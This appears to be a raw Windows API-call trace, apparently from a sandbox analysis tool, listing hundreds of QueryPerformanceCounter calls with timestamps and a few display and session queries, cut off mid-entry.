QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22904903994) returned 1 [0226.184] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22948646571) returned 1 [0226.184] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22948659773) returned 1 [0226.184] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22948682249) returned 1 [0226.184] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22948694315) returned 1 [0226.199] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22950206748) returned 1 [0226.200] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22950219232) returned 1 [0226.321] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22962361746) returned 1 [0226.321] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22962376056) returned 1 [0226.336] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22963857716) returned 1 [0226.336] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22963870290) returned 1 [0226.352] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22965446905) returned 1 [0226.352] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22965459396) returned 1 [0226.383] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22968559611) returned 1 [0226.383] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22968572173) returned 1 [0226.414] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22971685909) returned 1 [0226.414] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22971698547) returned 1 [0226.452] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22975459066) returned 1 [0226.452] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22975471578) returned 1 [0226.483] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22978576046) returned 1 [0226.483] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=22978591901) returned 1 [0226.829] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23013168165) returned 1 [0226.829] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23013180690) returned 1 [0226.858] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23016065460) returned 1 [0226.858] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23016078449) returned 1 [0226.889] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23019180810) returned 1 [0226.889] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23019192744) returned 1 [0226.905] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23020758024) returned 1 [0226.905] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23020772782) returned 1 [0226.936] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23023904162) returned 1 [0226.937] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23023916802) returned 1 [0226.952] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23025446079) returned 1 [0226.952] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23025461719) returned 1 [0226.983] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23028561918) returned 1 [0226.983] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23028574335) returned 1 [0227.014] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23031696847) returned 1 [0227.014] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23031712951) returned 1 [0227.046] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23034870394) returned 1 [0227.046] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23034887897) returned 1 [0227.077] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23037943072) returned 1 [0227.077] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23037959229) returned 1 [0227.108] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23041062514) returned 1 [0227.108] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23041075023) returned 1 [0227.139] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23044197915) returned 1 [0227.139] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23044213950) returned 1 [0227.155] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23045785528) returned 1 [0227.155] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23045801955) returned 1 [0227.186] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23048889301) returned 1 [0227.186] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23048906006) returned 1 [0227.217] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23052013287) returned 1 [0227.218] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23052029576) returned 1 [0227.249] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23055138392) returned 1 [0227.249] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23055150957) returned 1 [0227.280] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23058279606) returned 1 [0227.280] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23058291657) returned 1 [0227.295] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23059814537) returned 1 [0227.296] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23059826689) returned 1 [0227.311] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23061385557) returned 1 [0227.311] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23061400622) returned 1 [0227.343] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23064519353) returned 1 [0227.343] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23064535643) returned 1 [0227.402] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23070486892) returned 1 [0227.402] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23070509103) returned 1 [0227.403] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23070540862) returned 1 [0227.403] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23070558054) returned 1 [0227.405] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23070766049) returned 1 [0227.405] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23070783741) returned 1 [0227.436] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23073900576) returned 1 [0227.437] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23073917775) returned 1 [0227.467] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23077016772) returned 1 [0227.468] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23077033875) returned 1 [0227.483] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23078567617) returned 1 [0227.483] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23078583743) returned 1 [0227.499] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23080150279) returned 1 [0227.499] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23080166769) returned 1 [0227.530] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23083274009) returned 1 [0227.530] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23083289809) returned 1 [0227.561] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23086380941) returned 1 [0227.561] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23086393390) returned 1 [0227.577] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23087940134) returned 1 [0227.577] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23087952723) returned 1 [0227.608] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23091067354) returned 1 [0227.608] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23091080179) returned 1 [0227.624] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23092646621) returned 1 [0227.624] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23092659052) returned 1 [0227.639] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23094188956) returned 1 [0227.639] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23094201213) returned 1 [0227.655] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23095762736) returned 1 [0227.655] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23095774979) returned 1 [0227.686] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23098882066) returned 1 [0227.686] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23098894638) returned 1 [0227.702] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23100443952) returned 1 [0227.702] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23100459870) returned 1 [0227.733] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23103588659) returned 1 [0227.733] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23103602573) returned 1 [0227.764] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23106687308) returned 1 [0227.764] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23106699633) returned 1 [0227.796] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23109816921) returned 1 [0227.796] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23109832897) returned 1 [0227.827] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23112945307) returned 1 [0227.827] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23112957811) returned 1 [0227.941] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23124351215) returned 1 [0227.941] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23124367099) returned 1 [0227.967] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23127004510) returned 1 [0227.968] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23127017280) returned 1 [0227.983] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23128576432) returned 1 [0227.983] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23128589447) returned 1 [0228.014] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23131691784) returned 1 [0228.014] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23131705923) returned 1 [0228.046] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23134859374) returned 1 [0228.046] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23134872373) returned 1 [0228.061] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23136383408) returned 1 [0228.061] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23136396628) returned 1 [0228.094] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23139688750) returned 1 [0228.094] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23139707620) returned 1 [0228.124] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23142641256) returned 1 [0228.124] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23142657316) returned 1 [0228.155] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23145782902) returned 1 [0228.155] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23145795254) returned 1 [0228.186] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23148878286) returned 1 [0228.186] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23148891005) returned 1 [0228.202] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23150435459) returned 1 [0228.202] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23150448033) returned 1 [0228.217] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23152005041) returned 1 [0228.218] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23152017287) returned 1 [0228.249] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23155136252) returned 1 [0228.249] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23155148723) returned 1 [0228.280] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23158287789) returned 1 [0228.280] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23158300311) returned 1 [0228.311] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23161382791) returned 1 [0228.311] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23161395673) returned 1 [0228.342] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23164504871) returned 1 [0228.343] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23164517908) returned 1 [0228.374] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23167633572) returned 1 [0228.374] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23167646586) returned 1 [0228.405] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23170762774) returned 1 [0228.405] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23170775662) returned 1 [0228.422] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23172500808) returned 1 [0228.423] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23172517969) returned 1 [0228.452] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23175486450) returned 1 [0228.452] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23175499448) returned 1 [0228.467] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23177013266) returned 1 [0228.468] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23177027554) returned 1 [0228.483] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23178609837) returned 1 [0228.484] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23178626027) returned 1 [0228.535] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23183773686) returned 1 [0228.535] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23183786382) returned 1 [0228.546] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23184824376) returned 1 [0228.546] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23184836979) returned 1 [0228.577] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23187951349) returned 1 [0228.577] WTSGetActiveConsoleSessionId () returned 0x1 [0228.577] CreateDXGIFactory () returned 0x0 [0228.578] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0x533f878 | out: lpDevMode=0x533f878) returned 1 [0228.578] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23188111209) returned 1 [0228.594] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23189630999) returned 1 [0228.594] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23189648075) returned 1 [0228.671] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23197414381) returned 1 [0228.672] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23197431103) returned 1 [0228.672] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23197499187) returned 1 [0228.672] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23197515395) returned 1 [0228.687] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23198970051) returned 1 [0228.687] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23198990060) returned 1 [0228.718] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23202041455) returned 1 [0228.718] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23202058528) returned 1 [0228.906] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23220869369) returned 1 [0228.906] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23220881949) returned 1 [0228.936] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23223894660) returned 1 [0228.936] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23223908826) returned 1 [0228.952] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23225477906) returned 1 [0228.952] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23225490712) returned 1 [0229.679] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23298143286) returned 1 [0229.679] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23298160372) returned 1 [0229.681] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23298410503) returned 1 [0229.682] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23298424352) returned 1 [0229.702] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23300448210) returned 1 [0229.702] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23300461444) returned 1 [0229.718] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23302016969) returned 1 [0229.718] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23302029821) returned 1 [0229.748] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23305109738) returned 1 [0229.749] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23305128102) returned 1 [0229.765] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23306762856) returned 1 [0229.765] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23306775816) returned 1 [0230.269] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23357188002) returned 1 [0230.269] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23357204333) returned 1 [0230.281] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23358349348) returned 1 [0230.281] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23358366035) returned 1 [0230.281] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23358390792) returned 1 [0230.281] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23358405743) returned 1 [0230.296] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23359902396) returned 1 [0230.297] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23359918401) returned 1 [0230.328] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23363021927) returned 1 [0230.328] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23363037656) returned 1 [0230.359] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23366187446) returned 1 [0230.359] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23366203668) returned 1 [0230.390] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23369279471) returned 1 [0230.390] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23369297783) returned 1 [0230.421] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23372409899) returned 1 [0230.422] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23372426071) returned 1 [0230.437] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23373975981) returned 1 [0230.437] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23373992355) returned 1 [0230.469] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23377120452) returned 1 [0230.469] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23377136331) returned 1 [0230.484] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23378659199) returned 1 [0230.484] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23378675043) returned 1 [0230.500] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23380289643) returned 1 [0230.500] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23380305812) returned 1 [0230.531] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23383347215) returned 1 [0230.531] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23383363258) returned 1 [0230.546] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23384905021) returned 1 [0230.547] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23384920907) returned 1 [0230.578] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23388050342) returned 1 [0230.578] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23388066419) returned 1 [0230.609] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23391151527) returned 1 [0230.609] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23391167011) returned 1 [0230.625] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23392732130) returned 1 [0230.625] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23392747230) returned 1 [0230.640] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23394278678) returned 1 [0230.640] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23394293855) returned 1 [0230.671] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23397392598) returned 1 [0230.671] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23397407927) returned 1 [0230.703] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23400688148) returned 1 [0230.704] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23400705879) returned 1 [0230.718] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23402109180) returned 1 [0230.719] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23402125218) returned 1 [0230.750] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23405238851) returned 1 [0230.750] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23405254982) returned 1 [0230.765] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23406779219) returned 1 [0230.765] QueryPerformanceCounter (in: lpPerformanceCount=0x533f928 | out: lpPerformanceCount=0x533f928*=23406794316) returned 1 [0230.782] QueryPerformanceCounter (in: 